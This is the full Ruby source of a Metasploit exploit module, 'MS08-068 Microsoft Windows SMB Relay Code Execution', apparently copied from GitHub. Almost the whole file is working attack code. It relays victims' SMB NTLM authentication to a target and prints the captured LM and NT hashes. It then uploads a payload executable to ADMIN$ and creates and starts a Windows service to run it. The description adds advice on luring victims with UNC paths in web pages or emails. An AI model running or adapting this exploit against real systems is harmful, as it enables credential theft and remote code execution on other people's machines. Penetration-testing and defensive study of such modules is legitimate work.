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b08d1ad Jul 15, 2016
@tabassassin @rcvalle
761 lines (632 sloc) 22.7 KB
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
=begin
Windows XP systems that are not part of a domain default to treating all
network logons as if they were Guest. This prevents SMB relay attacks from
gaining administrative access to these systems. This setting can be found
under:
Local Security Settings >
Local Policies >
Security Options >
Network Access: Sharing and security model for local accounts
=end
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::SMB::Server
include Msf::Exploit::EXE
def initialize(info = {})
super(update_info(info,
'Name' => 'MS08-068 Microsoft Windows SMB Relay Code Execution',
'Description' => %q{
This module will relay SMB authentication requests to another
host, gaining access to an authenticated SMB session if successful.
If the connecting user is an administrator and network logins are
allowed to the target machine, this module will execute an arbitrary
payload. To exploit this, the target system must try to authenticate
to this module. The easiest way to force a SMB authentication attempt
is by embedding a UNC path (\\\\SERVER\\SHARE) into a web page or
email message. When the victim views the web page or email, their
system will automatically connect to the server specified in the UNC
share (the IP address of the system running this module) and attempt
to authenticate. Unfortunately, this
module is not able to clean up after itself. The service and payload
file listed in the output will need to be manually removed after access
has been gained. The service created by this tool uses a randomly chosen
name and description, so the services list can become cluttered after
repeated exploitation.
The SMB authentication relay attack was first reported by Sir Dystic on
March 31st, 2001 at @lanta.con in Atlanta, Georgia.
On November 11th 2008 Microsoft released bulletin MS08-068. This bulletin
includes a patch which prevents the relaying of challenge keys back to
the host which issued them, preventing this exploit from working in
the default configuration. It is still possible to set the SMBHOST
parameter to a third-party host that the victim is authorized to access,
but the "reflection" attack has been effectively broken.
},
'Author' =>
[
'hdm', # All the work
'juan vazquez' # Add NTLMSSP support to the exploit
],
'License' => MSF_LICENSE,
'Privileged' => true,
'DefaultOptions' =>
{
'EXITFUNC' => 'thread'
},
'Payload' =>
{
'Space' => 2048,
'DisableNops' => true,
'StackAdjustment' => -3500,
},
'References' =>
[
[ 'CVE', '2008-4037'],
[ 'OSVDB', '49736'],
[ 'MSB', 'MS08-068'],
[ 'URL', 'http://blogs.technet.com/swi/archive/2008/11/11/smb-credential-reflection.aspx'],
[ 'URL', 'http://en.wikipedia.org/wiki/SMBRelay' ],
[ 'URL', 'http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx' ]
],
'Arch' => [ARCH_X86, ARCH_X86_64],
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', { } ],
],
'DisclosureDate' => 'Mar 31 2001',
'DefaultTarget' => 0 ))
register_options(
[
OptAddress.new('SMBHOST', [ false, "The target SMB server (leave empty for originating system)"]),
OptString.new('SHARE', [ true, "The share to connect to", 'ADMIN$' ])
], self.class )
end
if (not const_defined?('NDR'))
NDR = Rex::Encoder::NDR
end
def smb_haxor(c)
smb = @state[c]
rclient = smb[:rclient]
if (@pwned[smb[:rhost]])
print_status("Ignoring request from #{smb[:rhost]}, attack already in progress.")
return
end
unless smb[:ntlmssp] || rclient.client.auth_user
print_line(" ")
print_error(
"FAILED! The remote host has only provided us with Guest privileges. " +
"Please make sure that the correct username and password have been provided. " +
"Windows XP systems that are not part of a domain will only provide Guest privileges " +
"to network logins by default."
)
print_line(" ")
return
end
print_status("Connecting to the defined share...")
rclient.connect("\\\\#{smb[:rhost]}\\#{datastore['SHARE']}")
@pwned[smb[:rhost]] = true
print_status("Regenerating the payload...")
code = regenerate_payload(smb[:rsock])
# Upload the shellcode to a file
print_status("Uploading payload...")
filename = rand_text_alpha(8) + ".exe"
servicename = rand_text_alpha(8)
fd = rclient.open("\\#{filename}", 'rwct')
begin
exe = ''
opts = {
:servicename => servicename,
:code => code.encoded
}
if (datastore['PAYLOAD'].include? 'x64')
opts.merge!({ :arch => ARCH_X64 })
end
exe = generate_payload_exe_service(opts)
fd << exe
ensure
fd.close if fd
end
print_status("Created \\#{filename}...")
# Disconnect from the SHARE
rclient.disconnect("\\\\#{smb[:rhost]}\\#{datastore['SHARE']}")
print_status("Connecting to the Service Control Manager...")
rclient.connect("\\\\#{smb[:rhost]}\\IPC$")
dcerpc = smb_dcerpc(c, '367abb81-9844-35f1-ad32-98f038001003', '2.0', "\\svcctl")
##
# OpenSCManagerW()
##
print_status("Obtaining a service manager handle...")
scm_handle = nil
stubdata =
NDR.uwstring("\\\\#{smb[:rhost]}") +
NDR.long(0) +
NDR.long(0xF003F)
begin
response = dcerpc.call(0x0f, stubdata)
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
scm_handle = dcerpc.last_response.stub_data[0,20]
end
rescue ::Exception => e
print_error("Error: #{e}")
return
end
##
# CreateServiceW()
##
servicename = rand_text_alpha(8)
displayname = rand_text_alpha(rand(32)+1)
svc_handle = nil
svc_status = nil
print_status("Creating a new service...")
stubdata =
scm_handle +
NDR.wstring(servicename) +
NDR.uwstring(displayname) +
NDR.long(0x0F01FF) + # Access: MAX
NDR.long(0x00000110) + # Type: Interactive, Own process
NDR.long(0x00000003) + # Start: Demand
NDR.long(0x00000000) + # Errors: Ignore
NDR.wstring("%SYSTEMROOT%\\#{filename}") + # Binary Path
NDR.long(0) + # LoadOrderGroup
NDR.long(0) + # Dependencies
NDR.long(0) + # Service Start
NDR.long(0) + # Password
NDR.long(0) + # Password
NDR.long(0) + # Password
NDR.long(0) # Password
begin
response = dcerpc.call(0x0c, stubdata)
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
svc_handle = dcerpc.last_response.stub_data[0,20]
svc_status = dcerpc.last_response.stub_data[24,4]
end
rescue ::Exception => e
print_error("Error: #{e}")
return
end
##
# CloseHandle()
##
print_status("Closing service handle...")
begin
response = dcerpc.call(0x0, svc_handle)
rescue ::Exception
end
##
# OpenServiceW
##
print_status("Opening service...")
begin
stubdata =
scm_handle +
NDR.wstring(servicename) +
NDR.long(0xF01FF)
response = dcerpc.call(0x10, stubdata)
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
svc_handle = dcerpc.last_response.stub_data[0,20]
end
rescue ::Exception => e
print_error("Error: #{e}")
return
end
##
# StartService()
##
print_status("Starting the service...")
stubdata =
svc_handle +
NDR.long(0) +
NDR.long(0)
begin
response = dcerpc.call(0x13, stubdata)
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
end
rescue ::Exception => e
return
#print_error("Error: #{e}")
end
##
# DeleteService()
##
print_status("Removing the service...")
stubdata =
svc_handle
begin
response = dcerpc.call(0x02, stubdata)
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
end
rescue ::Exception => e
print_error("Error: #{e}")
end
##
# CloseHandle()
##
print_status("Closing service handle...")
begin
response = dcerpc.call(0x0, svc_handle)
rescue ::Exception => e
print_error("Error: #{e}")
end
rclient.disconnect("\\\\#{smb[:rhost]}\\IPC$")
print_status("Deleting \\#{filename}...")
rclient.connect("\\\\#{smb[:rhost]}\\#{datastore['SHARE']}")
rclient.delete("\\#{filename}")
end
def smb_dcerpc(c, uuid, version, pipe)
smb = @state[c]
opts = {
'Msf' => framework,
'MsfExploit' => self,
'smb_pipeio' => 'rw',
'smb_client' => smb[:rclient]
}
handle = Rex::Proto::DCERPC::Handle.new([uuid, version], 'ncacn_np', smb[:ip], [pipe])
dcerpc = Rex::Proto::DCERPC::Client.new(handle, smb[:rsock], opts)
end
def smb_cmd_dispatch(cmd, c, buff)
smb = @state[c]
@pwned ||= {}
case cmd
when CONST::SMB_COM_NEGOTIATE
smb_cmd_negotiate(c, buff)
when CONST::SMB_COM_SESSION_SETUP_ANDX
smb_cmd_session_setup(c, buff)
when CONST::SMB_COM_TREE_CONNECT
print_status("Denying tree connect from #{smb[:name]}")
pkt = CONST::SMB_BASE_PKT.make_struct
pkt['Payload']['SMB'].v['Command'] = cmd
pkt['Payload']['SMB'].v['Flags1'] = 0x88
pkt['Payload']['SMB'].v['Flags2'] = 0xc001
pkt['Payload']['SMB'].v['ErrorClass'] = 0xc0000022
c.put(pkt.to_s)
else
print_status("Ignoring request from #{smb[:name]} (#{cmd})")
pkt = CONST::SMB_BASE_PKT.make_struct
pkt['Payload']['SMB'].v['Command'] = cmd
pkt['Payload']['SMB'].v['Flags1'] = 0x88
pkt['Payload']['SMB'].v['Flags2'] = 0xc001
pkt['Payload']['SMB'].v['ErrorClass'] = 0 # 0xc0000022
c.put(pkt.to_s)
end
end
def smb_cmd_negotiate(c, buff)
smb = @state[c]
pkt = CONST::SMB_NEG_PKT.make_struct
pkt.from_s(buff)
# Record the remote process ID
smb[:process_id] = pkt['Payload']['SMB'].v['ProcessID']
flags2 = pkt['Payload']['SMB'].v['Flags2']
extended_security = (flags2 & 0x800 == 0x800)
group = ''
machine = smb[:nbsrc]
dialects = pkt['Payload'].v['Payload'].gsub(/\x00/, '').split(/\x02/).grep(/^\w+/)
# print_status("Negotiation from #{smb[:name]}: #{dialects.join(", ")}")
dialect =
dialects.index("NT LM 0.12") ||
dialects.length-1
# Dialect selected, now we try to the target system
target_host = datastore['SMBHOST']
if (not target_host or target_host.strip.length == 0)
target_host = smb[:ip]
end
# If extended security isn't supported or we're trying reflection
# ntlmv1 should be used, otherwise, use ntlmssp
if extended_security && target_host != smb[:ip]
smb[:ntlmssp] = true
negotiate_ntlmssp(smb, target_host)
else
smb[:ntlmssp] = false
negotiate_ntlmv1(smb, target_host)
end
rclient = smb[:rclient]
# Negotiation has failed, just return
unless rclient && rclient.client
return
end
pkt = CONST::SMB_NEG_RES_NT_PKT.make_struct
smb_set_defaults(c, pkt)
time_hi, time_lo = UTILS.time_unix_to_smb(Time.now.to_i)
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NEGOTIATE
pkt['Payload']['SMB'].v['Flags1'] = 0x88
pkt['Payload']['SMB'].v['Flags2'] = smb[:ntlmssp] ? 0xc801 : 0xc001
pkt['Payload']['SMB'].v['WordCount'] = 17
pkt['Payload'].v['Dialect'] = dialect
pkt['Payload'].v['SecurityMode'] = 3
pkt['Payload'].v['MaxMPX'] = 2
pkt['Payload'].v['MaxVCS'] = 1
pkt['Payload'].v['MaxBuff'] = 4356
pkt['Payload'].v['MaxRaw'] = 65536
pkt['Payload'].v['Capabilities'] = smb[:ntlmssp] ? 0x8000e3fd : 0xe3fd
pkt['Payload'].v['ServerTime'] = time_lo
pkt['Payload'].v['ServerDate'] = time_hi
pkt['Payload'].v['Timezone'] = 0x0
pkt['Payload'].v['SessionKey'] = 0
if smb[:ntlmssp]
pkt['Payload'].v['KeyLength'] = 0
pkt['Payload'].v['Payload'] =
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" + # Server GUID
Rex::Proto::NTLM::Utils.make_simple_negotiate_secblob_resp
else
pkt['Payload'].v['KeyLength'] = 8
pkt['Payload'].v['Payload'] =
rclient.client.challenge_key +
Rex::Text.to_unicode(group) + "\x00\x00" +
Rex::Text.to_unicode(machine) + "\x00\x00"
end
c.put(pkt.to_s)
end
def negotiate_ntlmv1(smb, target_host)
rsock = nil
rport = nil
[445, 139].each do |rport_|
rport = rport_
begin
rsock = Rex::Socket::Tcp.create(
'PeerHost' => target_host,
'PeerPort' => rport,
'Timeout' => 3,
'Context' =>
{
'Msf' => framework,
'MsfExploit' => self
}
)
break if rsock
rescue ::Interrupt
raise $!
rescue ::Exception => e
print_error("Error connecting to #{target_host}:#{rport} #{e.class} #{e}")
end
end
unless rsock
print_error("Could not connect to the target host (#{target_host}), the target may be firewalled.")
return
end
rclient = Rex::Proto::SMB::SimpleClient.new(rsock, rport == 445 ? true : false)
begin
rclient.login_split_start_ntlm1(smb[:nbsrc])
rescue ::Interrupt
raise $!
rescue ::Exception => e
print_error("Could not negotiate NTLMv1 with #{target_host}:#{rport} #{e.class} #{e}")
raise e
end
unless rclient.client.challenge_key
print_error("No challenge key received from #{smb[:ip]}:#{rport}")
rsock.close
return
end
if smb[:rsock]
smb[:rsock].close
end
smb[:rsock] = rsock
smb[:rclient] = rclient
smb[:rhost] = target_host
end
def negotiate_ntlmssp(smb, target_host)
rsock = nil
rport = 445
begin
rsock = Rex::Socket::Tcp.create(
'PeerHost' => target_host,
'PeerPort' => rport,
'Timeout' => 3,
'Context' =>
{
'Msf' => framework,
'MsfExploit' => self
}
)
rescue ::Interrupt
raise $!
rescue ::Exception => e
print_error("Error connecting to #{target_host}:#{rport} #{e.class} #{e}")
end
unless rsock
print_error("Could not connect to the target host (#{target_host}), the target may be firewalled.")
return
end
rclient = Rex::Proto::SMB::SimpleClient.new(rsock, true)
rclient.client.negotiate(true) # extended security true
unless rclient.client.server_guid
print_error("The NTLMSSP negotation didn't provide the server guid from #{smb[:ip]}:#{rport}")
rsock.close
return
end
# If in the answer the Extended Security Negotiation (Flags2) is set
# we need to proceed like that!
rclient.client.require_signing = false
if (smb[:rsock])
smb[:rsock].close
end
smb[:rsock] = rsock
smb[:rclient] = rclient
smb[:rhost] = target_host
end
def smb_cmd_session_setup(c, buff)
smb = @state[c]
if smb[:ntlmssp]
pkt = CONST::SMB_SETUP_NTLMV2_PKT.make_struct
else
pkt = CONST::SMB_SETUP_NTLMV1_PKT.make_struct
end
pkt.from_s(buff)
capabilities = pkt['Payload'].v['Capabilities']
extended_security = (capabilities & 0x80000000 == 0x80000000)
if extended_security
smb_cmd_session_setup_ntlmssp(c, buff)
else
smb_cmd_session_setup_ntlmv1(c, buff)
end
end
def smb_cmd_session_setup_ntlmv1(c, buff)
smb = @state[c]
pkt = CONST::SMB_SETUP_NTLMV1_PKT.make_struct
pkt.from_s(buff)
# Record the remote multiplex ID
smb[:multiplex_id] = pkt['Payload']['SMB'].v['MultiplexID']
lm_len = pkt['Payload'].v['PasswordLenLM']
nt_len = pkt['Payload'].v['PasswordLenNT']
lm_hash = pkt['Payload'].v['Payload'][0, lm_len].unpack("H*")[0]
nt_hash = pkt['Payload'].v['Payload'][lm_len, nt_len].unpack("H*")[0]
buff = pkt['Payload'].v['Payload']
buff.slice!(0, lm_len + nt_len)
names = buff.split("\x00\x00").map { |x| x.gsub(/\x00/, '') }
smb[:username] = names[0]
smb[:domain] = names[1]
smb[:peer_os] = names[2]
smb[:peer_lm] = names[3]
# Clean up the data for loggging
if (smb[:username] == "")
smb[:username] = nil
end
if (smb[:domain] == "")
smb[:domain] = nil
end
print_status(
"Received #{smb[:name]} #{smb[:domain]}\\#{smb[:username]} " +
"LMHASH:#{lm_hash ? lm_hash : "<NULL>"} NTHASH:#{nt_hash ? nt_hash : "<NULL>"} " +
"OS:#{smb[:peer_os]} LM:#{smb[:peer_lm]}"
)
if (lm_hash == "" or lm_hash == "00")
lm_hash = nil
end
if (nt_hash == "")
nt_hash = nil
end
if (lm_hash or nt_hash)
rclient = smb[:rclient]
print_status("Authenticating to #{smb[:rhost]} as #{smb[:domain]}\\#{smb[:username]}...")
res = nil
begin
res = rclient.login_split_next_ntlm1(
smb[:username],
smb[:domain],
[ (lm_hash ? lm_hash : "00" * 24) ].pack("H*"),
[ (nt_hash ? nt_hash : "00" * 24) ].pack("H*")
)
rescue XCEPT::LoginError
end
if res
print_status("AUTHENTICATED as #{smb[:domain]}\\#{smb[:username]}...")
smb_haxor(c)
else
print_error("Failed to authenticate as #{smb[:domain]}\\#{smb[:username]}...")
end
end
print_status("Sending Access Denied to #{smb[:name]} #{smb[:domain]}\\#{smb[:username]}")
pkt = CONST::SMB_BASE_PKT.make_struct
smb_set_defaults(c, pkt)
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_SESSION_SETUP_ANDX
pkt['Payload']['SMB'].v['Flags1'] = 0x88
pkt['Payload']['SMB'].v['Flags2'] = 0xc001
pkt['Payload']['SMB'].v['ErrorClass'] = 0xC0000022
c.put(pkt.to_s)
end
def smb_cmd_session_setup_ntlmssp(c, buff)
smb = @state[c]
buff_copy = buff.dup
pkt = CONST::SMB_SETUP_NTLMV2_PKT.make_struct
pkt.from_s(buff_copy)
blob_length = pkt['Payload'].v['SecurityBlobLen']
blob = pkt['Payload'].v['Payload'][0, blob_length]
#detect if GSS is being used I need to fix this code.... but
if blob[0,7] == 'NTLMSSP'
c_gss = false
else
c_gss = true
start = blob.index('NTLMSSP')
if start
blob.slice!(0,start)
else
print_status("SMB Capture - Error finding NTLMSSP in SMB_COM_SESSION_SETUP_ANDX request from #{smb[:name]} - #{smb[:ip]}, ignoring ...")
smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true)
return
end
end
ntlm_message = NTLM_MESSAGE::parse(blob)
case ntlm_message
when NTLM_MESSAGE::Type1
smb_cmd_ntlmssp_negotiate(c, buff)
when NTLM_MESSAGE::Type3
smb_cmd_ntlmssp_auth(c, buff)
else
smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true)
return
end
end
def smb_cmd_ntlmssp_negotiate(c, buff)
smb = @state[c]
pkt = CONST::SMB_SETUP_NTLMV2_PKT.make_struct
pkt.from_s(buff)
smb[:process_id] = pkt['Payload']['SMB'].v['ProcessID']
smb[:user_id] = pkt['Payload']['SMB'].v['UserID']
smb[:tree_id] = pkt['Payload']['SMB'].v['TreeID']
smb[:multiplex_id] = pkt['Payload']['SMB'].v['MultiplexID']
security_blob_length = pkt['Payload'].v['SecurityBlobLen']
security_blob = pkt['Payload'].v['Payload'][0, security_blob_length]
print_status("Sending NTLMSSP NEGOTIATE to #{smb[:rhost]}")
rclient = smb[:rclient]
rclient.client.session_setup_with_ntlmssp_blob(security_blob, false)
print_status("Extracting NTLMSSP CHALLENGE from #{smb[:rhost]}")
resp = rclient.client.smb_recv_parse(CONST::SMB_COM_SESSION_SETUP_ANDX, true)
rclient.client.auth_user_id = resp['Payload']['SMB'].v['UserID']
security_blob_length = resp['Payload'].v['SecurityBlobLen']
security_blob = resp['Payload'].v['Payload'][0, security_blob_length]
print_status("Forwarding the NTLMSSP CHALLENGE to #{smb[:name]}")
challenge = CONST::SMB_SETUP_NTLMV2_RES_PKT.make_struct
smb_set_defaults(c, challenge)
native_data = ''
native_data << "Unix\x00" #Native OS
native_data << "Samba\x00" #Native LanMAN
challenge['Payload']['SMB'].v['Command'] = CONST::SMB_COM_SESSION_SETUP_ANDX
challenge['Payload']['SMB'].v['ErrorClass'] = CONST::SMB_STATUS_MORE_PROCESSING_REQUIRED
challenge['Payload']['SMB'].v['Flags1'] = 0x80
challenge['Payload']['SMB'].v['Flags2'] = 0xc801 # no signing
challenge['Payload']['SMB'].v['WordCount'] = 4
challenge['Payload'].v['AndX'] = 0xFF
challenge['Payload'].v['Reserved1'] = 0x00
challenge['Payload'].v['AndXOffset'] = 0
challenge['Payload'].v['Action'] = 0x0000
challenge['Payload'].v['SecurityBlobLen'] = security_blob_length
challenge['Payload'].v['Payload'] = security_blob + native_data
c.put(challenge.to_s)
end
def smb_cmd_ntlmssp_auth(c, buff)
smb = @state[c]
pkt = CONST::SMB_SETUP_NTLMV2_PKT.make_struct
pkt.from_s(buff)
smb[:process_id] = pkt['Payload']['SMB'].v['ProcessID']
smb[:user_id] = pkt['Payload']['SMB'].v['UserID']
smb[:tree_id] = pkt['Payload']['SMB'].v['TreeID']
smb[:multiplex_id] = pkt['Payload']['SMB'].v['MultiplexID']
print_status("Extracting the NTLMSSP AUTH resolution from #{smb[:name]}, and sending Logon Failure response")
security_blob_length = pkt['Payload'].v['SecurityBlobLen']
security_blob = pkt['Payload'].v['Payload'][0, security_blob_length]
smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true)
print_status("Forwarding the NTLMSSP AUTH resolution to #{smb[:rhost]}")
rclient = smb[:rclient]
rclient.client.session_setup_with_ntlmssp_blob(
security_blob,
false,
rclient.client.auth_user_id
)
resp = rclient.client.smb_recv_parse(CONST::SMB_COM_SESSION_SETUP_ANDX, true)
#check if auth was successful
if (resp['Payload']['SMB'].v['ErrorClass'] == 0)
print_good("SMB auth relay against #{smb[:rhost]} succeeded")
smb_haxor(c)
else
failure = Rex::Proto::SMB::Exceptions::ErrorCode.new
failure.word_count = resp['Payload']['SMB'].v['WordCount']
failure.command = resp['Payload']['SMB'].v['Command']
failure.error_code = resp['Payload']['SMB'].v['ErrorClass']
raise failure
end
end
end